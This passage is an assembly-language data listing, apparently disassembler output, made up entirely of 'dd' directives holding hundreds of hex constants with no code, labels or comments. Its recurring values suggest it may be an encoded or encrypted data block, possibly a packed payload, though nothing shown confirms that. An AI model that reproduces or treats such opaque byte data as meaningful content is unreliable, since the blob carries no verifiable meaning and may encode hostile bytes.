		dd 156640F6h, 0DFED4232h, 74D4C7B2h, 0EA9D88DBh, 1561ADCDh
		dd 8AA2232h, 0D09DDB53h, 0A4D30195h, 7560EC28h,	5485A354h
		dd 0DEE1EB9h, 0FC668832h, 15664421h, 0DD910F2Eh, 8CA31CACh
		dd 40059F6Ah, 0E6F75776h, 741BA075h, 156619DBh,	35DB7732h
		dd 301F10E7h, 7164AFDh,	1EF1132h, 0DEA8716h, 0FC664432h
		dd 15662221h, 0F6757F17h, 0B4924F55h, 36C7E9D6h, 10065E54h
		dd 7D63C656h, 15660832h, 157FCE3Dh, 18F2232h, 4B661132h
		dd 5ABDD701h, 8F4EA5DBh, 0E53FD60Dh, 8D325F12h,	7FB94711h
		dd 19E84B32h, 1A662232h, 156617BEh, 15E28732h, 0EA664432h
		dd 0BD78BF87h, 156FF834h, 0FD8F8832h, 9CD0232Eh, 0EAEB201Fh
		dd 0BD4EBCA7h, 1ED7134h, 0F4EF1516h, 1562E3B3h,	0D4E51132h
		dd 316A0F36h, 0ED31246Eh, 98ED436Ch, 13CE0E77h,	156A0F3Dh
		dd 95694432h, 15662234h, 1566963Dh, 0F9E58832h,	3162CD36h
		dd 1566228Ah, 0D2AE1032h, 15668832h, 469F1C32h,	15662689h
		dd 9EBF1032h, 0D1E5AC2Eh, 14E64B36h, 0E0662232h, 0A239CBBh
		dd 0FC068E9Ah, 15664420h, 555BB307h, 281215B3h,	34D2E8B7h
		dd 0D68BB268h, 73060EFEh, 108FE2B9h, 0E0668832h, 6954E322h
		dd 1D8F4353h, 6D661132h, 0AF0DB1FFh, 0FC612391h, 0EA99E4D5h
		dd 95DF7752h, 15756059h, 83024432h, 5742A09Eh, 1659EEB7h
		dd 2C5B08EAh, 0D53BE6C9h, 0E2E74481h, 743DCE6Bh, 154CBFDBh
		dd 8DD12432h, 1564AD3Dh, 74061132h, 108FE853h, 0AE664432h
		dd 69A25CC0h, 0A239CB9h, 94068E9Ah, 1B7745C0h, 156CCA09h
		dd 0E93D1132h, 0D13A67C4h, 52995998h, 156630DBh, 0E3A04132h
		dd 3CEEF173h, 227A880h,	6CE2B010h, 4B20DF47h, 94577753h
		dd 69E56006h, 423F1C88h, 0E17A68Dh, 0D9A10912h,	2478DB38h
		dd 9A697DCBh, 15661137h, 0DAEDEE52h, 0D1EBCD53h, 75608DB2h
		dd 15661BDAh, 34406F32h, 994988A6h, 0FDCF7DE3h,	15661123h
		dd 0E9F6F3EFh, 0D6DB0CE7h, 83D6122Eh, 0E9A18E52h, 0A73CD310h
		dd 2DE7257Fh, 5922767Ch, 15E1943Dh, 9E068832h, 0EFED22E5h
		dd 6DE74453h, 1A485D36h, 1566FCB7h, 1569AD32h, 0FCFE2232h
		dd 0F08EB26h, 0F22CEB64h, 69BA79C7h, 118AA304h,	9C661132h
		dd 11E7AC36h, 8433CE16h, 0FBE77C7Eh, 59F744B8h,	14E587CBh
		dd 0EC664432h, 13DF7367h, 9C661132h, 0FB67D1FFh, 1D8F246Fh
		dd 2D662232h, 4B5E0EF0h, 95883D74h, 0ED0705F1h,	3A0FA7B9h
		dd 0FD06179Ah, 1566883Ah, 0F5A2260Ah, 409492BEh, 0A63FEAB9h
		dd 578FE913h, 0E0664437h, 21E772CEh, 0F0341C16h, 31520339h
		dd 156280B3h, 0E3E72232h, 1E83433Fh, 156687DBh,	525D0632h
		dd 0E121A728h, 6D390B13h
		dd 0DECD494Bh, 3162C562h, 208D7B2Bh, 0CD84768h,	3C53636Bh
		dd 93691AC0h, 15662223h, 15661DDBh, 0C840D332h,	0EACB463Fh
		dd 0CD7D4A65h, 0E9AF209Ah, 18ED879Eh, 75664432h, 1566A33Dh
		dd 94001132h, 7477ECE8h, 1A6678C7h, 156759B6h, 73307132h
		dd 753F42B9h, 0DF27FD54h, 713A078Bh, 2907702Ah,	0DCE2871Fh
		dd 7599BBCDh, 0FC959D3Dh, 1566113Fh, 0BD87E1D3h, 3312D3DEh
		dd 726A2D52h, 299E7094h, 0CDE2871Ch, 0FC664432h, 1566223Eh
		dd 4EA9CE5Bh, 8026191Ch, 0C0337E79h, 9769120Eh,	1566143Ah
		dd 1A5FB4CBh, 0EA99C3B4h, 545ADECDh, 1190933Dh,	759F8832h
		dd 0A5DE2260h, 9B69782Fh, 1566113Eh, 15668FDBh,	83C51F32h
		dd 0B5AC8613h, 1A3C2D53h, 0EA99D3B4h, 986924CDh, 15662231h
		dd 7398A63Dh, 74FCE58Ch, 91691B0Eh, 0EA99DD76h,	157F923Dh
		dd 18F8832h, 4D664432h,	0B5D1D65Fh, 318573A3h, 7818A5FFh
		dd 0FCE7DBF8h, 29A1C621h, 80E41E53h, 75668836h,	3B0EFF54h
		dd 14E32D53h, 0E9661132h, 9369F20Eh, 0EA99BB3Ah, 156629DBh
		dd 6DB59E32h, 5FCB673Fh, 0DB669833h, 1567A93Dh,	0FC931132h
		dd 15668C56h, 0E5E72452h, 5E94702h, 156619DBh, 5A03AE32h
		dd 82547CE1h, 0AB004318h, 430792AEh, 0EA99778Ch, 4B946DCDh
		dd 19EC2DCEh, 1A661132h, 15668EBDh, 15E94B32h, 2C662232h
		dd 30E21EC0h, 0FC668836h, 15664422h, 1DE2E1D7h,	4B192409h
		dd 0CBB016B1h, 0CDF50358h, 156DA63Dh, 138F1132h, 41668832h
		dd 0D740B2D7h, 14D8747Fh, 3C661132h, 7306D6C0h,	0EC3693B9h
		dd 46374369h, 92254A6Bh, 7C8F74EBh, 0ED99BBCCh,	9169EBB7h
		dd 156612EAh, 15668FDBh, 5C59C132h, 0B8F9A481h,	3097A4BFh
		dd 1D8F8E9Ah, 78664432h, 87263A2Fh, 470723D8h, 944284B9h
		dd 156640F6h, 156FCB32h, 0F4441132h, 9EC5B681h,	447B72B2h
		dd 9C36F3BBh, 4DA198FAh, 14E9876Bh, 0E0664432h,	1540A13Dh
		dd 0FC061132h, 1566883Ah, 7C562F6Dh, 927EF8D0h,	156600DAh
		dd 2D582E32h, 0C271D845h, 0DCC8A0ACh, 8E3AA59Fh, 743DF8F0h
		dd 4AD21463h, 9D17D6B2h, 0DDEE49D3h, 1576616Bh,	77A54432h
		dd 60AFE45Fh, 7B46C1ACh, 4946E692h, 60C8A175h, 940042CFh
		dd 746DBEE9h, 156686DBh, 2E20A832h, 0FCCAB1A9h,	0D7CD0362h
		dd 1A588352h, 156652B3h, 1B8F4232h, 4A661132h, 0E71C21B3h
		dd 81AFD315h, 7EE84AE6h, 9407ED63h, 5D2D20DBh, 11A7C56Ch
		dd 3C3CAA49h, 118F90CBh, 943C0049h, 5D2DECF3h, 922FDE6Ch
		dd 92B4E6E3h, 9D6970E3h, 15664433h, 2BA1A3CAh, 94312B49h
		dd 0AF0924DDh, 94A96D7Fh, 0AF098EF5h, 2B89907Fh, 7531B249h
		dd 157ECE3Dh, 68F2232h,	3B661132h, 0F4B34F8Ch, 37C324EEh
		dd 136D0ABAh, 0D8E78A43h, 0C4E60D7Ah, 966925C6h, 1566222Bh
		dd 1575903Dh, 1B8F8832h, 85664432h, 219C3888h, 19990DD2h
		dd 8EE539C5h, 4A301369h, 964216B9h, 1D8F15F6h, 52668832h
		dd 6B11CE80h, 0E6A1B045h, 1A06E996h, 156688BAh,	0A3342532h
		dd 0EA11AA32h, 964205B9h, 1B8F8CF6h, 0F2664432h, 47502D18h
		dd 0C31AED5Bh, 5AA6610Eh, 0E4F3C9B6h, 0FC608A17h, 1566113Ch
		dd 0BA7C9918h, 78E493A9h, 300C66D4h, 90EDA9C0h,	13CE8733h
		dd 1AA6C1CAh, 156662B7h, 94007132h, 0ED5F8BD5h,	0C0E38253h
		dd 52608A27h, 0AB00ED52h, 7D076CE9h, 0C1FCE3E0h, 80D3DDCAh
		dd 0E060B93Dh, 7C170DBFh, 1A064299h, 156624BEh,	15E11E32h
		dd 94668832h, 0D0520ED5h, 0C599435Ah, 0F4EF40CEh, 156249B3h
		dd 0FCE54432h, 316AA536h, 3172986Eh, 1567083Dh,	0EA9E4432h
		dd 1576CBE2h, 0D7301132h, 0D2FACF2Fh, 0F9E71CA1h, 0B7C040Ch
		dd 0D5E3002Bh, 14750D3Dh, 9D694432h, 15662235h,	1567993Dh
		dd 0ED9F8832h, 0B8BC1B9h, 9869249Ah, 1566112Ah,	15669BDBh
		dd 42C75D32h, 459ECC98h, 79162679h, 0DEBC4F1Fh,	2D557534h
		dd 9069E2B7h, 1566114Bh, 15668DDBh, 0B3E79632h,	90A0D9ABh
		dd 13CE04E7h, 58FE87Eh,	0D664432h, 96BC2D2Ch, 81DFCC08h
		dd 17345136h, 9EC49EBEh, 0FC0E43EAh, 75BFCB2Eh,	0B80954h
		dd 0D6E72243h, 0EA078533h, 0BD698487h, 90EB7434h, 13CD2D43h
		dd 17E02D52h, 75661132h, 0D92C3753h, 0FC0714A6h, 1566223Fh
		dd 571B611Ch, 0A4788A16h, 0BFA1F9D6h, 0ECB6DD8Ch, 156619DBh
		dd 45AC3C32h, 4C24347Fh, 0F4EF73F4h, 1562D0B3h,	0FCE78832h
		dd 15664436h, 49422EB5h, 754205BBh, 8913DB89h, 0CCED221Dh
		dd 1AB6DD53h, 156610BFh, 0D5E37D32h, 1549C13Dh,	0FC932232h
		dd 1566118Ah, 17E08752h, 45664432h, 75064368h, 0CB67E6B3h
		dd 4EDEA217h, 747187FAh, 156625DAh, 1A976132h, 92455825h
		dd 4CA8CF54h, 0D1E3AB53h, 0E060BEB2h, 152AE85Ah, 3162CD32h
		dd 77BC4ACEh, 21EF1132h, 1FEE8716h, 75664432h, 1566A83Dh
		dd 0CCEC1132h, 8E30553h, 0EC60EFB8h, 9C69F2CDh,	15661139h
		dd 15668EDBh, 3826FD32h, 1E9BE361h, 39E31EF2h, 1A668832h
		dd 156643BDh, 0A2694232h, 74B59AC8h, 1566BBDBh,	1ED4B32h
		dd 1A662232h, 15661FBDh, 156F6132h, 27E14432h, 5EDEE2AEh
		dd 9CDCB26Dh, 1A7AAC76h, 156645B5h, 9E69DA32h, 1566113Ah
		dd 1564043Dh, 74064432h, 0E9A5DB53h, 1569F852h,	8F428832h
		dd 17B9C2C1h, 51213765h, 34B10137h, 0D1EB03A9h,	7560EBB2h
		dd 753DBC8Ch, 0C502AA70h, 7507E9ECh, 7D07FF87h,	15665F38h
		dd 1A4215BBh, 156680BCh, 17ED4B32h, 75662232h, 20957953h
		dd 39EF8832h, 9CABCD16h, 1A067FDAh, 1F8FC885h, 0A4668832h
		dd 1E65A4D3h, 70480561h, 0AC3770F5h, 1566880Eh,	0AF348533h
		dd 15662232h, 1765DB33h, 9F69D168h, 15664439h, 15E22D52h
		dd 95661132h, 0ED0725E7h, 15EEF4CDh, 21E72232h,	0A00BE316h
		dd 0AA31D20Dh, 20D54726h, 0E2E76D75h, 1F607FD4h, 0FC397203h
		dd 1566443Ch, 9F7565D8h, 0E959C31Ch, 39D60EC8h,	80EFFDB7h
		dd 13CE251Fh, 9E00ED52h, 0AE35E9C8h, 156644CAh,	0CE477C1Fh
		dd 10BE101Ch, 3BBDA96Ch, 949F2469h, 170ADE9h, 65997041h
		dd 3172033Eh, 156280B3h, 9C692232h, 15661133h, 0B8F301CEh
		dd 1A60EC3Bh, 156623B5h, 2199E832h, 0D1E7D016h,	15664436h
		dd 74B5A952h, 314265CDh, 94428CB9h, 156640F6h, 8C4BDB32h
		dd 1001F756h, 11D58EF4h, 0D34B8C1Bh, 10629134h,	728075ABh
		dd 156685DBh, 9AE98632h, 89F4C8C0h, 0AE556B12h,	905DCE15h
		dd 13CE4D9Fh, 153EA03Dh, 18F1132h, 97668832h, 0C80EDD47h
		dd 0DCB69FDDh, 4A32321Dh, 0BD564C00h, 2ED29627h, 0BD610FB7h
		dd 26E51E34h, 0ED668832h, 1A8E2453h, 29662232h,	33B13E8Fh
		dd 0CC6719E3h, 0B8ED6A47h, 128FDBDCh, 12661132h, 1FDEC150h
		dd 1A3CF284h, 156621B6h, 0CDD91E32h, 15624A53h,	0E007B8CBh
		dd 124226F5h, 427AEA63h, 6A51D98Dh, 311A4518h, 39E77D36h
		dd 6FEE4916h, 0AF347475h, 3DBB4E12h, 1D4276BBh,	310A9068h
		dd 76595936h, 3122C579h, 93539336h, 14E21E10h, 0E0668832h
		dd 7E8EFF61h, 0CDEF4734h, 318A3C69h, 0EC53DE80h, 0ED681074h
		dd 5AC9AFBFh, 9E06179Ah, 0EA0771E5h, 0EC06BCD3h, 15669961h
		dd 0FEE71132h, 4767CCA9h, 0D6E7B733h, 476766A9h, 1A3D12B8h
		dd 156686B5h, 156FAD32h, 682A2232h, 0F19AA0B4h,	751BD26Ch
		dd 0FDB7CF54h, 15662237h, 24D47DEDh, 4A3FDB35h,	1A8F7853h
		dd 15676FB6h, 0AF007132h
		dd 29074870h, 7FE24BDAh, 0FC662233h, 15661138h,	0E314E821h
		dd 8DBAFD67h, 1A5A0A29h, 1501953Dh, 198F8832h, 0D8664432h
		dd 0E432F4Ch, 0F66E2DD5h, 0FC3916B8h, 15664437h, 673ADFDAh
		dd 1AAB2D88h, 156734B6h, 14E24B32h, 0E0662232h,	9169FA0Eh
		dd 156689D1h, 156654DBh, 0E12BAE32h, 84D7C4E5h,	3C1C7E53h
		dd 0D0D8F8CEh, 18F427Eh, 0C8661132h, 479D018Eh,	0EC57684Eh
		dd 0A2E7877Bh, 0BAA96295h, 74EFA534h, 0E9A5BC53h, 14DC70CEh
		dd 94661132h, 0FE4F56D8h, 9494456Ah, 0FE4FFCF0h, 4F7C9B6Ah
		dd 7FD6D8CEh, 0D3428316h, 0F5B6EACCh, 3152BF1Eh, 0FC3E4B12h
		dd 1566443Dh, 4F134F59h, 0F207CD0h, 0B3DA4C0Ch,	1A054A5Ch
		dd 156625BEh, 90DC7132h, 74440B87h, 1AE6BFB2h, 0EA9985B7h
		dd 1FEE1ECDh, 75668832h, 0DDE7C384h, 73221E18h,	0E2EF4653h
		dd 314A0965h, 17B718D8h, 0FFA5A369h, 4A64C06Eh,	118A09CAh
		dd 9C664432h, 13DF063Eh, 14661132h, 9769D1F9h, 15664425h
		dd 156630DBh, 82C5FB32h, 71292867h, 0B6177AA3h,	79175D6h
		dd 44AA5E2Ah, 15668A8Bh, 45974532h, 1566228Ah, 16AE1032h
		dd 0E03FD02Ah, 1566DFDBh, 7D37DB32h, 15661133h,	9E97896Bh
		dd 969E1D2Bh, 9169D9C9h, 156611C5h, 0D5713652h,	1C8F3B4Dh
		dd 34662232h, 13573208h, 40F210FDh, 118AC753h, 944216BBh
		dd 1EA13506h, 943DB9A9h, 8E6D83C1h, 9B69D703h, 1566112Ch
		dd 15746052h, 6FA14432h, 0FD6B3152h, 73B85F2h, 592ABDC4h
		dd 0ACB49CE7h, 61DC446Dh, 570E70E4h, 9C668854h,	14DE6036h
		dd 14662232h, 4D7E12C2h, 10DCDAC7h, 14664432h, 3172A9E1h
		dd 1562D5B3h, 9B698832h, 1566443Eh, 1560AE3Dh, 90691132h
		dd 15668832h, 0EA98DFDBh, 7E92DCDh, 1A661132h, 156684B0h
		dd 1561AD32h, 18002232h, 7FC1692Fh, 4BD08714h, 7306B833h
		dd 1A764A88h, 156617B2h, 15E58732h, 74664432h, 1A48C9B1h
		dd 0EA9872B6h, 258F71CDh, 0FC664432h, 15662238h, 0FBE57FA7h
		dd 1E465BC5h, 959AE74Ch, 1A98234Ch, 0EA9852B7h,	94067DCDh
		dd 683ED1FCh, 156ECB49h, 68231132h, 0BB3928B7h,	0FC079FCEh
		dd 0EA99DEC8h, 156617DBh, 0D142A432h, 0FCAF0F00h, 15662223h
		dd 0C87E21E6h, 44E49BEDh, 0E32B6279h, 0C3E494CCh, 0F0EF44D8h
		dd 15624DB3h, 0F8E54432h, 314AA536h, 3152986Eh,	156684DBh
		dd 80125832h, 126D45A5h, 0D3BE8877h, 118A0B7Ch,	1A4248BBh
		dd 15662FBAh, 156EF832h, 0FF248832h, 0A0AE7030h, 9C31C782h
		dd 11A190D5h, 96668832h, 29E140DDh, 9EF7E16h, 156EF816h
		dd 0BA4D8832h, 320734D0h, 9F0EBE6Eh, 9C66113Dh,	0FD06AC0Eh
		dd 1566443Ch, 0F250A859h, 6EB5F1E3h, 5503E9CCh,	9F69D72Bh
		dd 15662232h, 0D557706Ah, 156680DBh, 0D6B26932h, 14054197h
		dd 68FBD89h, 0F4668832h, 0C7F2DB45h, 17D6DE4Fh,	0B80E5800h
		dd 0F0EC502Fh, 94067F9Eh, 0B7F99EDAh, 0EDD87763h, 9D37E9E1h
		dd 0FFEE16F7h, 4C3CF1BAh, 156600DBh, 51451732h,	0ED503163h
		dd 43ED3BFAh, 34DCD40h,	0A1367159h, 0E3A2BAC2h,	17D571E6h
		dd 953DCD12h, 0F6469ADEh, 7EC4B6Ah, 0FC662232h,	1566113Fh
		dd 0D5239414h, 56E39A39h, 31910B85h, 0FFE671D3h, 15766104h
		dd 448C4432h, 9F944D51h, 60FE7785h, 0F55EC995h,	9507C5C2h
		dd 916952C9h, 1566172Dh, 15669CDBh, 84CE8832h, 0D99D1108h
		dd 3B186D56h, 0F4B34F8Ch, 37C324EEh, 1A691EBAh,	1566CAB6h
		dd 9E06E832h, 74ADCFEBh, 1A8F1E53h, 156D77B6h, 156B6132h
		dd 56F34432h, 0E4C19B5h, 1DAF32A0h, 29BE4774h, 56E24BD9h
		dd 7566223Dh, 0C3BFC18Bh, 74B50362h, 9169A70Eh,	156621E7h
		dd 156603DBh, 0E51BF632h, 9DC03AF6h, 3EAC937Eh,	773ECFA6h
		dd 292F9596h, 93E24BD0h, 1A662222h, 15661DBDh, 13EE8732h
		dd 1A664432h, 156622BCh, 3152EE32h, 11A20B6Dh, 3ADD2252h
		dd 67A4A3DFh, 741A38BDh, 4E42BCCDh, 0FC6280B1h,	15662238h
		dd 75C2D6A5h, 0A67576AFh, 21991782h, 0D1E77B16h, 15661136h
		dd 315203C7h, 9487CD63h, 156626F3h, 11A79032h, 92668832h
		dd 753A603Eh, 0FCA543CBh, 1566113Bh, 0DBBE992Ah, 7395BEC1h
		dd 1568CB7Eh, 11FF1132h, 0F797657Eh, 621A6FE0h,	0FB2E3262h
		dd 94F294F5h, 15608E9Dh, 96934432h, 11EF26DEh, 1566A916h
		dd 0E5678832h, 1A3E5CB8h, 156623BAh, 9369E932h,	1566882Bh
		dd 156650DBh, 0D51C0532h, 18B39AC4h, 5E3190B8h,	77AD02CEh
		dd 429D8E97h, 440041E6h, 0F9EE1D87h, 0D9981D54h, 0D998FEC4h
		dd 9561F5F2h, 0E1E6A3DEh, 4D856497h, 156CA03Dh,	108F1132h
		dd 29668832h, 0F8A18261h, 1AE6D9B2h, 0EA990DB7h, 9669E8CDh
		dd 15664431h, 429CA954h, 0E866AF54h, 0A833E96Dh, 15664433h
		dd 0ED3BCC1Bh, 157F9C3Dh, 0FD068832h, 15664439h, 9AA3103h
		dd 23C7C719h, 4E9C0F7Eh, 1566C93Dh, 9E072232h, 0BD6E2CB7h
		dd 0AC93E834h, 380467A0h, 40F3A953h, 7560B919h,	0FD953F3Dh
		dd 1566443Ch, 0F8E5E1F8h, 7EFA1A5Ch, 0A7F7C4Dh,	940070BBh
		dd 4AE56ED8h, 9C314153h, 4A9E01C5h, 0E03E87BBh,	15609A62h
		dd 0D6671132h, 96428CB9h, 976940F6h, 1566223Ah,	0CBED7752h
		dd 749D0354h, 1564FE60h, 0E7672232h, 1566A863h,	0C4678832h
		dd 4F3F5D31h, 1560A73Dh, 75061132h, 74AA0253h, 97699C09h
		dd 15662228h, 90DE7752h, 16CA314Ah, 2E07512Eh, 5BE02DE8h
		dd 1A99EECCh, 156689BDh, 0AA31B132h, 10A956ACh,	3C39EA33h
		dd 8B8D09C9h, 1A638B46h, 156636B8h, 1569F832h, 909D8832h
		dd 9663CD6Ch, 676984BDh, 434F5589h, 13D9DF42h, 94664432h
		dd 73156CD9h, 949D3827h, 7315C6F1h, 93691B27h, 15662225h
		dd 156603DBh, 0A4F47932h, 0E3B84E62h, 2D95D67Bh, 779048E0h
		dd 75FDE710h, 156650DBh, 971B1232h, 0C4DCF0B9h,	0D12A456Fh
		dd 370957A8h, 776B9F48h, 14ED1E75h, 0EC668832h,	75CB2253h
		dd 156624DAh, 8341DA32h, 73540CAFh, 4B05758Dh, 9C7DCBB3h
		dd 7307344Ah, 15686199h, 0C0534432h, 6BEBB425h,	0B6DA7EFFh
		dd 3FCC7333h, 0D6579C03h, 108FFA03h, 0DB661132h, 2C7584E9h
		dd 108F2499h, 2F662232h, 248804FEh, 1566063Dh, 47074432h
		dd 15662688h, 9EB01032h, 0D1E7AC26h, 15664436h,	156628DBh
		dd 44EE6032h, 8CB7B6C3h, 9C62C6FEh, 1A8F060Eh, 64661132h
		dd 767566F5h, 83B00203h, 5905A24Ch, 61EF95B0h, 1F8F8416h
		dd 0A9664432h, 36F34AB3h, 14326C08h, 0E0D301B4h, 7560EC34h
		dd 0F9479A54h, 156614DBh, 94A69332h, 9E0762B6h,	9C34060Eh
		dd 11A490D0h, 96668832h, 1E140F0h, 0FC067E16h, 1566113Dh
		dd 6868A882h, 0DBC5D7F2h, 506417B6h, 476B5AE4h,	156681DBh
		dd 0BD140E32h, 8F104DF5h, 743F7C8Fh, 4E42BCCDh,	156280B3h
		dd 0E9062232h, 1577F852h, 2D228832h, 3599A4BFh,	0A3776CB5h
		dd 623067B1h, 73163848h, 74B4BA88h, 2199DA53h, 0D1E54816h
		dd 15636136h, 34874432h, 9EB4EB4Fh, 9C313506h, 11A109D5h
		dd 96664432h, 29E126F5h, 42064D16h, 0A0183654h,	0A269126Dh
		dd 40077CC0h, 0D0E7F4BBh, 15668836h, 926281B1h,	31ED061Eh
		dd 156FF816h, 6C628832h, 8264DBC7h, 0FC2ADB08h,	0EA99CE25h
		dd 81E34FCAh, 1760EBB3h, 0FC662232h, 15661134h,	943B3578h
		dd 1E8FD10Dh, 0D4662232h, 7EEECAF8h, 0EDDD9E49h, 9C334725h
		dd 21E777C7h, 0CE345416h
		dd 0E6E7D323h, 4BD1677h, 1AE22D6Fh, 0FC661132h,	15668838h
		dd 1E630538h, 0DDE3375Fh, 0A369562Eh, 156A613Ch, 0EDA4432h
		dd 0C5A7DE0Eh, 9A66B21Fh, 0ECE634EFh, 4CE54BB2h, 1A662232h
		dd 156619B0h, 17EB8732h, 75664432h, 9E8DA353h, 944FA946h
		dd 4162FBF1h, 94AD453Eh, 416251D9h, 9EA5903Eh, 1A4F3046h
		dd 156649B7h, 0CFD84232h, 94136AA5h, 0E5BEACDAh, 0A833251Eh
		dd 0EA99DDCDh, 0EC3BFA1Bh, 156617DBh, 94002432h, 1AD795DCh
		dd 156613BBh, 74A40332h, 0E383F761h, 0F095A2E1h, 3DE3D0B2h
		dd 908F08EBh, 1EE84B69h, 75662232h, 2A85DFB3h, 0F1E6C9DCh
		dd 473625B4h, 671E588h,	0E22C5B14h, 0D3A409E0h,	9C405725h
		dd 0DD4F78E2h, 439E49A3h, 550E568Ch, 1080856Eh,	2DCEC4B3h
		dd 94203213h, 414702C4h, 1988C530h, 3464770Ah, 95064FC3h
		dd 0D5E65AD0h, 730625CAh, 73B2B78Ch, 9407DAB9h,	737D4DF1h
		dd 0B08DC52Eh, 3C135E7Dh, 0B0A590F9h, 9413F47Dh, 737D81D9h
		dd 1560CB2Eh, 69441132h, 0FC7A62AEh, 1D5BC1B9h,	48F249Ah
		dd 0D4661132h, 0DEEA6112h, 1C6609D2h, 5B65D707h, 0C261EC47h
		dd 3E331DB9h, 0FC06429Ah, 1566223Ch, 97C89CF4h,	48DDB92Ch
		dd 0C8D1C3CDh, 9400D1E6h, 74B181E0h, 0D3D98752h, 1560CA3Dh
		dd 93692232h, 15661132h, 84DB0B53h, 1460EC1Ah, 117FA63Dh
		dd 0A5061132h, 0D4E7EE6Ah, 2C074650h, 1DE42DF1h, 75661136h
		dd 2C077880h, 87E44BE1h, 0FC99DDC8h, 1566113Dh,	56348882h
		dd 249FCD28h, 0FBE47C2Eh, 0FC4F5652h, 15668BD1h, 156642DBh
		dd 35E4B232h, 0D2210F12h, 0BAE71CB7h, 15664634h, 1568CB32h
		dd 499A1132h, 3E513471h, 5CB3FBD1h, 1E61831Bh, 156F9C3Dh
		dd 0A2068832h, 0C5E72294h, 44078CE4h, 9C949860h, 0DEEFD2E3h
		dd 0A369BD6Bh, 1577CB3Ch, 35291132h, 0F72C1C45h, 0AA72084Fh
		dd 0CE54166Eh, 95B7A562h, 966908CBh, 15664451h,	12EB2DCBh
		dd 75661132h, 45B50354h, 0FEE7256Ah, 5E07FD8h, 0AA31DA33h
		dd 5E0D5D8h, 0E039BF33h, 3162DD61h, 96420DB9h, 95698CF6h
		dd 1566442Ah, 0F9B99C52h, 1E8E123Fh, 0B4668832h, 5E0EE3A4h
		dd 0ABB3A09Dh, 743F718Eh, 15663ADBh, 97692432h,	15662230h
		dd 9C697052h, 15668834h, 1566C43Dh, 46072232h, 0EC4EEE85h
		dd 964294B9h, 996940F6h, 15662222h, 156C943Dh, 108F8832h
		dd 0C0664432h, 55D8B3D6h, 1566AE65h, 0DA4F8832h, 0DA57BD03h
		dd 0FC39DB03h, 15661123h, 0E1D5FF67h, 4D9FB1Fh,	2184A9E7h
		dd 3CA8FF5Ah, 20DED8FAh, 0E2283D4Bh, 53150FE2h,	0E2F7359Ah
		dd 265319E3h, 2053FC55h, 53FFFA56h, 0FC3ED013h,	15668823h
		dd 93043606h, 0ADB0025Ah, 774D6923h, 88207E77h,	48A5C5C6h
		dd 3C2DD574h, 48DB44F9h, 3C2D7F74h, 9E0619D9h, 0EED12DFCh
		dd 94007153h, 1A4827D8h, 9E07B685h, 0BD6E1FB7h,	12E11E34h
		dd 1A668832h, 156645BDh, 80EDD732h, 13CE3A67h, 84DB0BCBh
		dd 1460EC1Ah, 173FA63Dh, 0EC061132h, 5D7F59B3h,	2E073CCDh
		dd 35E42DEAh, 0ED661132h, 0AADEEE52h, 9E001490h, 2C077CE3h
		dd 0DFE01EE1h, 1A9977CAh, 156642B2h, 0DEEC4232h, 42079A83h
		dd 0EC54028Dh, 52B9B331h, 6987D5B3h, 0E2E76910h, 6EBDC65Bh
		dd 0FC39BA33h, 15662235h, 0EB95E35Ch, 0ED74219Bh, 0C5907C82h
		dd 0C5904316h, 0F5A6F906h, 0A037EE37h, 738E6C83h, 0FCCCDE6Bh
		dd 15661137h, 6AFB1B48h, 15DE1404h, 14662232h, 15DD42C2h
		dd 14668832h, 4E6DCEF1h, 0AC00426Ah, 4607D9C9h,	9D370881h
		dd 4CAECCEBh, 1569CB69h, 12FF1132h, 0C87C2741h,	79EC5DEBh
		dd 5745BF9Dh, 156DF868h, 16628832h, 0BDB57BFDh,	0D64B52CCh
		dd 7BD043BEh, 0F3B65EC4h, 0E3E68ACCh, 9E97021Ch, 0D1E53526h
		dd 3E58736h, 0FC664432h, 15662223h, 0BC4CA01Eh,	8C38DD6Fh
		dd 60B307B1h, 0AF6A76E0h, 0FCAE19ECh, 15668834h, 3BFAA486h
		dd 0FCCCBD7Eh, 1566113Ah, 0E4DAEDE7h, 0C0032091h, 156632DBh
		dd 9A84CD32h, 7952CE9Dh, 59662E83h, 1BE56C1Bh, 0D9A5902Ch
		dd 3C73F40Eh, 0D9DE14C9h, 3C735E0Eh, 926949F1h,	15668833h
		dd 11DE14CBh, 94662232h, 215C25F1h, 94A5A11Eh, 215C70D9h
		dd 97697A1Eh, 15661133h, 24BEB9C7h, 0FCBE75F1h,	15662237h
		dd 6D90AE9Ch, 759A23E4h, 0EDACCF54h, 118AA153h,	0AD4215BBh
		dd 15668830h, 753E8233h, 746297CEh, 1393A4BBh, 1D8F8E9Ah
		dd 0AB664432h, 0B0BC8360h, 0D2F20AE6h, 0BD4E19B7h, 15664534h
		dd 4131DE32h, 11A1906Dh, 96668832h, 29E140F5h, 0E99A7E16h
		dd 4E4225CDh, 75624CB1h, 74B4F33Dh, 4C4216CDh, 1562D5B3h
		dd 138F8832h, 9C664432h, 2D208984h, 9C34ED1Dh, 0B0D8DED0h
		dd 5339B451h, 0C391FCC5h, 0FBE7CFC5h, 0B5691465h, 9638B633h
		dd 1E126F0h, 9D694D16h,	15668834h, 42A1CE52h, 9E69436Dh
		dd 15661135h, 0AC007152h, 44079546h, 0D4E7C3BBh, 15661136h
		dd 15623361h, 0CC674432h, 316AA569h, 156CF86Eh,	0AF458832h
		dd 7637AE99h, 0A2ECD05Dh, 10EF1E52h, 0AA668832h, 1221CD0h
		dd 156627DAh, 56C7DC32h, 1D8F1A01h, 0AC664432h,	8282C190h
		dd 4AED26AEh, 0CC376153h, 7D9FBBCDh, 15667AC5h,	0EA4225BBh
		dd 1A38AC3Eh, 156664B0h, 78E4232h, 99661132h, 1D9E7E0Dh
		dd 3E4E6C1Dh, 38CB9A00h, 3BC8B06Ch, 9969D21Ch, 15664432h
		dd 8DD57153h, 95DBFAB2h, 0DE9899F1h, 9D9887B2h,	9C6979EAh
		dd 15661135h, 1567033Dh, 0BF9E4432h, 0AA3174CAh, 75B735C8h
		dd 1142F41Bh, 0EF631C6Dh, 0FC06F316h, 15661123h, 867C65E5h
		dd 552F9E0Fh, 413D6F2Fh, 0A41EF665h, 8063740Ch,	38032909h
		dd 740F10DEh, 0F963E91Bh, 3807E100h, 700B7FA7h,	260C4ACBh
		dd 1EF1132h, 15623216h,	0C54F4432h, 9969D768h, 1566112Ah
		dd 15669BDBh, 15B67A32h, 0FF7A5F80h, 0E6CF09AEh, 0A981136Dh
		dd 0C2EE83C9h, 1574CB99h, 0D101132h, 0FD83C641h, 7FC7065Ah
		dd 0F6DF6022h, 9FE30EF7h, 15668FDBh, 1C81DA32h,	1F841BA0h
